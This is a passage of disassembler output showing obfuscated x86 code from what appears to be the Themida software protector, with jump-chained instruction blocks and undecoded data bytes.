; ---------------------------------------------------------------------------


loc_5DBD87:				; CODE XREF: Themida_:005DD40Fj
		add	[esp+4], ebp
		mov	ebp, [esp]
		push	2050h
		mov	[esp], ebx
		jmp	loc_5D7A12
; ---------------------------------------------------------------------------
		db 25h
		dd 2FF20016h, 3BA7232Dh, 58C6018Dh, 0FBC681h, 0BE906E6h
		dd 5CFFFFD4h, 0FF5803E9h, 348B5CFFh, 4C48124h, 0E9000000h
		dd 0FFFF57F4h
; ---------------------------------------------------------------------------


loc_5DBDC8:				; CODE XREF: Themida_:005DCED1j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5D2CE9
; ---------------------------------------------------------------------------


loc_5DBDE1:				; CODE XREF: Themida_:005D63A0j
		pop	ecx
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5DCE2B
; ---------------------------------------------------------------------------


loc_5DBDF0:				; CODE XREF: Themida_:005DB341j
		not	ecx
		push	esi
		mov	esi, 0EDC5C8Eh
		jmp	loc_5D8F15
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C2414D3h, 0FF57AFE9h, 86BB53FFh,	43171240h
		dd 3EE9D3F7h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DBE1B:				; CODE XREF: Themida_:005D8FDAj
		add	esi, ebx
		sub	esi, 320E2468h
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		mov	[edx+38h], esi
		jmp	loc_5DC201
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 8793E924h, 0F66FFFFh, 0A36802B6h, 8900001Eh,	8068243Ch
		dd 5400001Fh, 8124048Fh, 42404h, 3C8B0000h, 4C48124h, 81000000h
		dd 4C7h, 0A0B85000h, 0E9518630h, 0D0Bh,	83242C8Bh, 0EC8304C4h
		dd 24348904h, 2BEh, 5EF10100h, 480E9h, 4C48300h, 0FFAE71E9h
		dd 8B5453FFh, 0C481241Ch, 4, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 5002E883h, 0FF705AE9h, 4EC81FFh, 89000000h, 0CEE92414h
		dd 5BFFFF61h, 0FF7869E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DBEC9:				; CODE XREF: Themida_:005DABDEj
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_5DD195
; ---------------------------------------------------------------------------
aHL		db '\h^l',0
		dd 24048900h, 0FF56D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DBEE5:				; CODE XREF: Themida_:005DB3EFj
		push	edx
		mov	edx, 4B660B5Bh
		jmp	loc_5DA516
; ---------------------------------------------------------------------------
		dd 12C3815Fh, 8167670Eh, 797E3AEBh, 9AEB8174h, 16AAC0Ch
		dd 0BA5250C3h, 62233499h, 0D15AD089h, 60BF57E0h, 8141F74Ch
		dd 7D27D9C7h, 3EFC176h,	14F75747h, 0BB535F24h, 20D11E86h
		dd 40E94343h, 81FFFF60h, 4EEh, 7D51E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBF3E:				; CODE XREF: Themida_:005D6BD0j
		pop	esp


loc_5DBF3F:				; CODE XREF: Themida_:005D658Ej
					; Themida_:005DC6A5j
		sub	esp, 4
		jmp	loc_5D914A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 60D43599h, 0E959CA01h, 0FFFFF3C2h
; ---------------------------------------------------------------------------


loc_5DBF54:				; CODE XREF: Themida_:005D9AC0j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5DB4D9
; ---------------------------------------------------------------------------
		db 80h
		dd 6204B5EFh, 622CF828h, 79DDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBF76:				; CODE XREF: Themida_:005D85D4j
		sub	esi, ecx
		pop	ecx
		add	ecx, 416972BCh
		sub	ecx, esi
		push	edi
		mov	edi, 219D1DF2h
		jmp	loc_5D5E13
; ---------------------------------------------------------------------------
		dd 0F0EF814Fh, 9F2EBFDh, 6D2D5FF8h, 2181DDDEh, 24048BC7h
		dd 0E904C483h, 0FFFF951Dh, 0E9241C89h, 0FFFFFAC8h
; ---------------------------------------------------------------------------


loc_5DBFB0:				; CODE XREF: Themida_:005D308Dj
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5D3A94
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B24048Fh, 4002424h,	0EDE99C24h, 5CFFFF55h, 0B7241C89h
		dd 6600E9C5h, 0C8FEFFFFh, 0D0F6C8FEh, 5347B652h, 0E7D089B7h
		dd 8009B450h, 0F480A2CCh, 7EB9E95Fh, 558FFFFh, 4, 405h
		dd 24048700h, 124248Bh,	0A424E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC00E:				; CODE XREF: Themida_:005D714Bj
		sub	esi, 1F2434EFh
		add	esi, 0FFECC9E4h
		mov	edx, esi
		jmp	loc_5D3AF5
; ---------------------------------------------------------------------------


loc_5DC021:				; CODE XREF: Themida_:005D2BDAj
		pop	eax
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5DD709
; ---------------------------------------------------------------------------


loc_5DC039:				; CODE XREF: Themida_:005D9DD2j
		mov	eax, 0C0E1200h
		xor	ebx, eax
		pop	eax
		and	eax, ebx
		jmp	loc_5D1990
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 690FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC056:				; CODE XREF: Themida_:005D9D45j
		mov	edi, 656022F9h
		not	edi
		jmp	loc_5D2D40
; ---------------------------------------------------------------------------
		dw 0D588h
		dd 52EF8853h, 88F88850h, 885358C6h, 5BD888F3h, 52595B5Ah
		dd 0FF9868E9h, 81E789FFh, 4C7h,	4C78300h, 5C243C87h, 1658E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DC091:				; CODE XREF: Themida_:005D59ECj
		push	100h
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	66C6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, ebx
		jmp	loc_5D896C
; ---------------------------------------------------------------------------


loc_5DC0CF:				; CODE XREF: Themida_:005D60F8j
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		pop	eax
		jmp	loc_5DBD5B
; ---------------------------------------------------------------------------
		db 8, 0C1h, 0E9h
		dd 0FFFFBEFCh, 5B66D828h, 0E952E800h, 0FFFF9297h, 4B8h
		dd 58C30100h, 2474FF53h, 48F5B04h, 85685C24h, 89000039h
		dd 0BCBF243Ch, 0E933DF6Dh, 0FFFFE5E6h
; ---------------------------------------------------------------------------


loc_5DC114:				; CODE XREF: Themida_:005D4B3Bj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		add	eax, 32187282h
		push	edi
		push	5C72h
		mov	[esp], ebx
		push	9B8035Ch
		pop	ebx
		jmp	loc_5DADD5
; ---------------------------------------------------------------------------
		dw 85E9h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC137:				; CODE XREF: Themida_:005DD6A6j
		push	ecx
		mov	ecx, 711622D7h
		push	eax
		mov	eax, 1
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 711622BAh
		mov	eax, ecx
		pop	ecx
		jmp	loc_5DB19E
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 92E9241Ch, 0C1FFFFD7h
		dd 0BA5203E6h, 0D4124AFCh, 15AD629h, 0FF555EF5h, 5D042474h
		dd 0E924048Fh, 0FFFFFD47h, 0EC83595Ah, 24048904h, 0BFF5E957h
		dd 0D830FFFFh, 0FFA200E9h, 2424D3FFh, 73D9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC1AE:				; CODE XREF: Themida_:005D9DB8j
		mov	eax, 7E7575CFh
		sub	ebp, eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5D6A61
; ---------------------------------------------------------------------------
		dw 5759h
		dd 0FF601BE9h, 0B05066FFh, 0F6D0F653h, 4C0FED0h, 0CD8F60Ch
		dd 8060044Dh, 13E981E9h, 5F00000Ch, 4B951h, 0A5E90000h
		dd 81FFFF56h, 0E30B8BC7h, 57E9595Ah, 4E000009h,	0FF80F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DC201:				; CODE XREF: Themida_:005DBE2Dj
		mov	esi, [esp]
		add	esp, 4
		push	44CEh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5D7076
; ---------------------------------------------------------------------------
aBQ@Hcy		db 'ß',7,'@=hy',0
		dw 8900h
		dd 8EE9243Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC22F:				; CODE XREF: Themida_:005D582Cj
		add	ebp, 31086874h
		sub	ebp, 5207761Ah
		jmp	loc_5D43F1
; ---------------------------------------------------------------------------
		dd 6D4FE95Ah, 815FFFFFh, 2D0002C1h, 0F740E99Bh,	0C281FFFFh
		dd 4, 10DCBF57h, 33E94951h, 5AFFFF9Fh, 4C481h, 0E8290000h
		dd 81242C8Bh, 4C4h, 6C685B00h, 89000022h, 64682434h, 8B578815h
		dd 89572434h, 0C396E9E7h, 248BFFFFh, 5326E924h,	0EA28FFFFh
		dd 0FFAFACE9h, 2496BEFFh, 0E6C111A8h, 0FEC9E904h, 0C681FFFFh
		dd 0F387CF9h, 1CB2C681h, 335D3002h, 34312434h, 24343324h
		dd 240CD25Ch, 52F2E99Ch, 1068FFFFh, 89000067h, 4812424h
		dd 424h, 24348B00h, 4C481h, 14E90000h, 5D000007h, 685AD301h
		dd 665Eh, 0FF575FE9h, 58C589FFh, 18F4F581h, 0B951730Eh
		dd 31A1938h, 0FF841BE9h, 240C87FFh, 0FFE151E9h,	0B35366FFh
		dd 0FDCAE921h, 489FFFFh, 6CE7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC322:				; CODE XREF: Themida_:005D21FDj
		shl	edi, 8
		sub	edi, 7EC8B600h
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_5DB848
		push	edx
		mov	edx, 1Ch
		add	edx, edi
		push	eax
		push	ebp
		mov	ebp, 61603EC8h
		push	edi
		jmp	loc_5D5C68
; ---------------------------------------------------------------------------


loc_5DC34B:				; CODE XREF: Themida_:005DD61Dj
		mov	edi, 426A5799h
		sub	edi, 37752484h
		neg	edi
		jmp	loc_5DBD09
; ---------------------------------------------------------------------------
		db 5, 93h, 39h
		dd 0E82922A7h, 0A739932Dh, 33BE5622h, 0C1522905h, 0C68102EEh
		dd 4F4B0DDBh, 22B7F681h, 0F0014516h, 58DC2D5Eh,	505D06F0h
		dd 42474FFh, 24048F58h,	2404895Ch, 0EC81BCB4h, 4, 0B5240C89h
		dd 59EC3014h, 3FE9E328h, 89FFFF91h, 54E92424h, 57FFFFCCh
		dd 6BE9E789h, 5AFFFF84h, 5C24048Fh, 4EC81h, 0C890000h
		dd 0E9515024h, 0FFFFFC92h, 26744CBDh, 0F5814D65h, 70B65AB4h
		dd 434FCD81h, 94E969EEh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC3E7:				; CODE XREF: Themida_:005D84A2j
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5DB432
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C3304EFh, 243C3124h, 5C243C33h
		dd 0FFB380E9h, 3E5C0FFh, 8817ED80h, 0E20059EAh,	0FF694BE9h
		dd 0B9C780FFh, 0FF9E6EE9h, 54505DFFh, 0FFFBBDE9h, 0E7E953FFh
		dd 5AFFFFAFh, 51241C8Bh, 0C181E189h, 4,	4BA52h,	0D1010000h
		dd 240C875Ah, 9985E95Ch, 2C89FFFFh, 2474FF24h, 242C8B04h
		dd 815F5457h, 4C7h, 0D8D4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC476:				; CODE XREF: Themida_:005D9A3Aj
		and	ebx, 6CAE4DC5h
		dec	ebx
		xor	ebx, 166949B8h
		jmp	loc_5D56D3
; ---------------------------------------------------------------------------
		dd 52FEE95Ah, 1489FFFFh, 43F1BA24h, 0E2C13D0Ch,	0CA814203h
		dd 13720275h, 0FF67F7E9h, 0E95954FFh, 0FFFFE039h, 8359C801h
		dd 0FF5002C0h, 58042474h, 8B24048Fh, 0D3662424h, 0E99C2424h
		dd 0FFFF50F4h, 0DAF7425Ah, 0FFAC13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DC4D1:				; CODE XREF: Themida_:005D30DFj
		mov	eax, [esp]
		push	esi
		jmp	loc_5D50A6
; ---------------------------------------------------------------------------


loc_5DC4DA:				; CODE XREF: Themida_:005D2CEFj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5D525C
; ---------------------------------------------------------------------------
		db 68h,	0C2h, 16h
		dd 0D8E90000h, 8FFFFFC2h, 50BEE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC4FE:				; CODE XREF: Themida_:005D2E7Cj
		pop	edx
		add	dword ptr [edi+20h], 0FFFFFFFFh
		jmp	loc_5D91EF
; ---------------------------------------------------------------------------
		dd 0AE9E5D0h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC50F:				; CODE XREF: Themida_:005DB0F9j
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5D49DE
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
aLHjl		db '$$hJL',0
		align 4
		dd 89241489h, 61E4E9E2h, 2C8BFFFFh, 19DB6824h, 98E90000h
		dd 0FF00000Ch, 68592434h, 2ABBh, 89240489h, 63B668E0h
		dd 34890000h, 7722E924h, 1DBEFFFFh, 813A500Ch, 0AFF3E7C6h
		dd 5EF201C5h, 0FFAEA1E9h, 51E950FFh, 0BFFFFFA7h, 71F25A76h
		dd 199BF781h, 0EF8354BAh, 0F78101h, 55628F0Ch, 0D67DB3BDh
		dd 993EE95Ch, 2C89FFFFh, 2C8B5424h, 0A4E95124h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC5A3:				; CODE XREF: Themida_:005D829Fj
		xor	ecx, esi
		not	esi
		xchg	esi, ecx
		add	ecx, 0FF1F0F41h
		and	eax, ecx
		jmp	loc_5D78C0
; ---------------------------------------------------------------------------


loc_5DC5B6:				; CODE XREF: Themida_:005D3556j
		inc	edi
		not	edi
		shr	edi, 7
		neg	edi
		xor	edi, 0FE18B467h
		jmp	loc_5DAF5D
; ---------------------------------------------------------------------------
		db 1, 0F5h, 81h
		dd 0BB6C7EC5h, 6BBB5316h, 17E2D06h, 5CC2E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC5DE:				; CODE XREF: Themida_:005DA69Aj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4E562344h
		or	esi, 6C93215Bh
		jmp	loc_5D8C88
; ---------------------------------------------------------------------------
		db 0B6h
		dd 18B45039h, 9EC80h, 840458E6h, 0BCB252h, 0F0285AD0h
		dd 5052BC2Ch, 0E28884B4h, 5AD02858h, 5A2434FFh,	0E904C483h
		dd 1231h, 8BC1305Ah, 0E9502404h, 1038h
; ---------------------------------------------------------------------------


loc_5DC634:				; CODE XREF: Themida_:005D8A42j
		pop	esi
		add	esp, 4
		push	ebp
		jmp	loc_5D8331
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 24248B24h,	9C240CFFh, 0FF4F67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DC655:				; CODE XREF: Themida_:005D9F6Aj
		or	edi, 3AB37C97h
		push	eax
		mov	eax, 3B2313A6h
		sub	edi, eax
		pop	eax
		add	esi, 55D41E42h
		add	esi, edi
		sub	esi, 55D41E42h
		pop	edi
		add	esi, 8899574Ch
		add	eax, esi
		jmp	loc_5D5F53
; ---------------------------------------------------------------------------
		dd 0FFFFC581h, 0DDF7FFFFh, 0BBE9D5F7h, 0FFFFFF6Dh, 16E92434h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC697:				; CODE XREF: Themida_:005D2115j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5DBF3F
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_5D41B2
; ---------------------------------------------------------------------------
		db 81h
		dd 0B83A9FEAh, 243C8B0Bh, 0FFF184E9h, 7DF281FFh, 0E92BAB2Eh
		dd 0FFFFD967h, 5E2414F7h, 0E908EEC1h, 0FFFF68F2h, 215B6855h
		dd 64E90000h, 5AFFFF73h, 0EC81E0D0h, 2,	24048966h, 662414F6h
		dd 8324048Bh, 0E8C002C4h, 0E9535205h, 0FFFFDC51h
; ---------------------------------------------------------------------------


loc_5DC714:				; CODE XREF: Themida_:005D44E8j
		mov	ebx, [esp]
		jmp	loc_5D7B88
; ---------------------------------------------------------------------------
		dd 0B80BE95Bh, 478FFFFFh, 4E92E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC72A:				; CODE XREF: Themida_:005DB39Fj
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 69BA4F9Ah
		mov	esi, ecx
		pop	ecx
		jmp	loc_5D848E
; ---------------------------------------------------------------------------


loc_5DC73B:				; CODE XREF: Themida_:005D7A8Dj
		push	4896h
		mov	[esp], ebx
		sub	dword ptr [esp], 32187282h
		jmp	loc_5D42AE
; ---------------------------------------------------------------------------


loc_5DC74F:				; CODE XREF: Themida_:005D229Bj
		inc	edi
		jmp	loc_5D43CC
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 81000000h, 2D066BEDh, 7EBB537Eh, 2916BB6Ch, 5AE95BDDh
		dd 0E9FFFFFEh, 0FFFF4E48h, 0C680AFB6h, 5AF13083h, 5959CB28h
		dd 0B050C328h, 0B23CE961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC78A:				; CODE XREF: Themida_:005DB1FDj
		mov	[esp], esi
		jmp	loc_5D6276
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 4C481h, 0EC830000h, 8E54E904h, 0BF57FFFFh
		dd 2, 179CED81h, 0FD011EB2h, 179CC581h,	0E5E91EB2h, 81FFFFD0h
		dd 553CF5F2h, 42CA817Fh, 81359857h, 125C50F2h, 5AD70946h
		dd 9299E956h, 5255FFFFh, 7807BD55h, 0CD81072Bh,	50B6251Ch
		dd 6845h, 2C290000h, 0ED815D24h, 2EA22E01h, 4886CD81h
		dd 0B8505AB6h, 17BC6651h, 0E905E0C1h, 0FFFF558Ch, 4510EF81h
		dd 0EF816790h, 1E9B5CF0h, 0E955CF01h, 0FFFFCDCAh, 2404895Ch
		dd 405E089h, 2D000000h,	4, 5C240487h, 0FFB36EE9h, 81A72CFFh
		dd 4ECh, 24148900h, 0CEFE3CB6h,	0FF801DE9h, 241C87FFh
		dd 0FF24248Bh, 34FF2434h, 81F3E924h, 0C328FFFFh, 2EC81h
		dd 8CE90000h, 87FFFFD5h, 3CE9241Ch, 1FFFFD3h, 74C381EBh
		dd 8170B561h, 6E2A8BEBh, 0D607E91Ch, 66ACFFFFh,	667B0068h
		dd 0E9240C89h, 0FFFFD2CCh, 0E9E9F65Ch, 0E0Fh, 0F2A2D58h
		dd 0E80126FFh, 0FF0F2A05h, 0C6E95D26h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC8AF:				; CODE XREF: Themida_:005D8214j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 18h
		jmp	loc_5D9E77
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 68000000h, 185Bh, 0BD242C89h, 4, 17EBBD55h, 0EB012EE2h
		dd 55EB295Dh, 4B2EC5BDh, 13C58148h, 0F713223Eh,	5B06E9D5h
		dd 3489FFFFh, 4BE24h, 0F3010000h, 8124348Bh, 4C4h, 4EC8100h
		dd 89000000h, 4BA2414h,	0E9000000h, 0FFFFDF93h,	5B2434FFh
		dd 5604C483h, 0BEE9E689h, 0F6FFFFD3h, 11E380DBh, 2AEA6866h
		dd 24148966h, 175268h, 240C8900h, 0ED8063B5h, 0D2F58001h
		dd 0CFE9EE88h, 81FFFFDAh, 4C3h,	241C3300h, 33241C31h, 835C241Ch
		dd 0AFE904C6h, 89FFFF80h, 0E6BD242Ch, 4509787Fh, 0FFFD07E9h
		dd 4C581FFh, 0E9000000h, 18Eh, 40558h, 0E8830000h, 24048704h
		dd 0E924248Bh, 0FFFFFBFEh
; ---------------------------------------------------------------------------


loc_5DC998:				; CODE XREF: Themida_:005D61D2j
		push	687Ah
		mov	[esp], edx
		push	eax
		jmp	loc_5D70DA
; ---------------------------------------------------------------------------
		dw 483h
		dd 84E90424h, 66FFFFE2h, 6824148Bh, 6EA3h, 89240C89h, 46856E1h
		dd 5E000000h, 34FFF101h, 89505E24h, 405E0h, 4050000h, 87000000h
		dd 248B2404h, 2BE5624h,	1000000h, 24348BF1h, 4C481h, 81E90000h
		dd 21FFFF7Fh, 0EE91C4Fh, 55FFFF71h, 0D23117BDh,	96C5814Fh
		dd 8109DD54h, 0B2FD0CDh, 7BB531Fh, 1A05050h, 0EE015BDDh
		dd 2C6815Dh, 0E9000000h, 659h
; ---------------------------------------------------------------------------


loc_5DCA24:				; CODE XREF: Themida_:005D2ED3j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5D28F9
; ---------------------------------------------------------------------------


loc_5DCA35:				; CODE XREF: Themida_:005D5896j
		add	esp, [edx+38h]
		push	6FE7h
		mov	[esp], esi
		push	ebp
		mov	ebp, 75176E28h
		jmp	loc_5DA46F
; ---------------------------------------------------------------------------


loc_5DCA4B:				; CODE XREF: Themida_:005D9096j
		mov	ebx, [esp]
		push	2C62h
		jmp	loc_5D84D7
; ---------------------------------------------------------------------------
		dd 389DEA81h, 0EA810E28h, 11B0013Bh, 0FF4B53E9h, 70ED81FFh
		dd 0F727A811h, 0D579E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCA76:				; CODE XREF: Themida_:005D8E7Fj
		shr	edx, 1
		jmp	loc_5D6335
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D5h
		dd 51DE890h, 188903DDh,	0BF57E829h, 188903DDh, 0FF5FF829h
		dd 96E92434h, 87FFFFF9h, 6FC581D5h, 818407D5h, 0C27131C7h
		dd 0B39EE939h, 48FFFFFh, 24048124h, 4, 0E92434FFh, 0FFFF9A3Dh
		dd 81243C8Bh, 4C4h, 79026800h, 85E90000h, 0ADFFFFE6h, 92CEE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCADA:				; CODE XREF: Themida_:005D8F7Bj
		mov	ebx, [esp]
		add	esp, 4
		add	[edi+24h], ecx
		jmp	loc_5D9133
; ---------------------------------------------------------------------------
		dd 4B8h, 58C20100h, 8B241487h, 0EC832424h, 242C8904h, 8904EC83h
		dd 34E92424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCB07:				; CODE XREF: Themida_:005D8112j
		sub	edx, 63F97B30h
		jmp	loc_5D61C6
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 4BAh, 6E29E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCB22:				; CODE XREF: Themida_:005D99FAj
		push	edi
		mov	edi, 510D3835h
		add	edi, 42BD6307h
		sub	edi, 93CA9B38h
		sub	ecx, edi
		pop	edi
		jmp	loc_5D789C
; ---------------------------------------------------------------------------
		dd 0C581F501h, 4FF77987h, 2BB535Eh, 1000000h, 6A29E9DDh
		dd 0BE56FFFFh, 56E47556h, 0FF5317E9h, 8BDA88FFh, 0C483241Ch
		dd 2BE904h, 0D8290000h,	0E800EB05h, 4875B66h, 2DE95C24h
		dd 0C1FFFFF4h, 0FF0507E8h, 5FFFFFFh, 4F5A7BD2h,	24E9D0F7h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5DCB8F:				; CODE XREF: Themida_:005DBD33j
		pop	esp
		jmp	loc_5D92CB
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 4Fh
		dd 0FFE6BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DCB9D:				; CODE XREF: Themida_:005D8F1Ej
		xor	esi, 0FEC3107Fh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5D6C6C
; ---------------------------------------------------------------------------
		dd 0B1A1E953h, 0DF89FFFFh, 81241C8Bh, 4C4h, 7EC86800h
		dd 34890000h, 0BE24h, 0FE290000h, 815EF787h, 8730DEC7h
		dd 5FFD0130h, 8FC6E951h, 0EC81FFFFh, 4,	0E9241489h, 0FFFF8FA3h
; ---------------------------------------------------------------------------


loc_5DCBF0:				; CODE XREF: Themida_:005DAC4Bj
		push	ebp
		push	5EF94782h
		pop	ebp
		neg	ebp
		push	esi
		push	edi
		mov	edi, 6D1302E4h
		mov	esi, 20BA54BDh
		xor	esi, edi
		pop	edi
		shr	esi, 5
		neg	esi
		inc	esi
		add	esi, 1D394ED1h
		or	ebp, esi
		jmp	loc_5DB484
; ---------------------------------------------------------------------------
		db 81h
		dd 0CD2C48F2h, 8BD30170h, 2B682414h, 0E9000075h, 0FFFFB2E5h
		dd 0FF4987E9h, 148B5AFFh, 0E7895724h, 4C781h, 0E8E90000h
		dd 89FFFFD3h, 0CDE9242Ch, 68FFFFC3h, 2388h, 50243489h
		dd 0FFCE76E9h, 0C8B66FFh, 0E180E924h, 0C581FFFFh, 4, 2B951h
		dd 0CD290000h, 83240C8Bh, 436804C4h, 8900004Ch,	74FF242Ch
		dd 5AE90424h, 0C1FFFF8Eh, 0C28104EAh, 58DE468Eh, 0AAE9D701h
		dd 0FFFFFFA2h, 669D1C77h, 24041058h, 4912E99Ch,	6850FFFFh
		dd 521E152Dh, 22F00D58h, 50E96088h, 0E9FFFF94h,	0FFFF48FCh
		dd 0A33857BFh, 41CF815Ch, 81560C21h, 415780F7h,	0CDEFE964h
		dd 6C81FFFFh, 455F0424h, 0BD557748h, 462F114Dh,	8246C01h
		dd 81242C8Bh, 4C4h, 4015800h, 4EC8324h,	0BE243489h, 3E9D44A8h
		dd 4244481h, 131620A7h,	4247401h, 4246C81h, 131620A7h
		dd 48A2E95Eh, 2858FFFFh, 0F0005AF0h, 5ABA04h, 8A8EE9D8h
		dd 0EF81FFFFh, 5FBC0873h, 0C781EF01h, 5FBC0873h, 724DEF81h
		dd 835D79C1h, 0D46804C7h, 89000046h, 74FF243Ch,	3C8B0424h
		dd 0E2895224h, 0FFBC71E9h, 0E9028FFFh, 0FFFF485Ch, 0DE2990BAh
		dd 0C1E28158h, 8169BE5Bh, 5E3CD6CAh, 59B7E916h,	4CB8FFFFh
		dd 81160713h, 2D63F5C3h, 9F9EE944h, 0FE89FFFFh,	5EF3015Fh
		dd 0FFB5ECE9h, 4C481FFh, 31000000h, 0D414E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCD9E:				; CODE XREF: Themida_:005D9E79j
		push	701Dh
		mov	[esp], eax
		push	esi
		jmp	loc_5D727A
; ---------------------------------------------------------------------------


loc_5DCDAC:				; CODE XREF: Themida_:005D3EFCj
		push	28F1h
		jmp	loc_5D6867
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFC504E9h, 240C33FFh, 33240C31h,	0E6E9240Ch, 0FFFFFFB8h
		dd 3DE92434h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCDD7:				; CODE XREF: Themida_:005D47BAj
		pop	edx
		push	edi
		push	edx
		pop	edi
		pop	edx
		push	edx
		jmp	loc_5D9EAB
; ---------------------------------------------------------------------------


loc_5DCDE2:				; CODE XREF: Themida_:005D3094j
		pop	edx
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_5DA279
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 6681C180h, 0E9CB3058h, 0FFFF7BE5h
; ---------------------------------------------------------------------------


loc_5DCE04:				; CODE XREF: Themida_:005D9CE8j
		add	esi, edi
		pop	edi
		jmp	loc_5D27C0
; ---------------------------------------------------------------------------
		dd 243C8B58h, 0FFB939E9h, 66D028FFh, 28D1B252h,	8B5A66D0h
		dd 89522414h, 33E956E2h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCE2B:				; CODE XREF: Themida_:005DBDEBj
		mov	ebp, 1D16726Ah
		jmp	loc_5D6FEC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
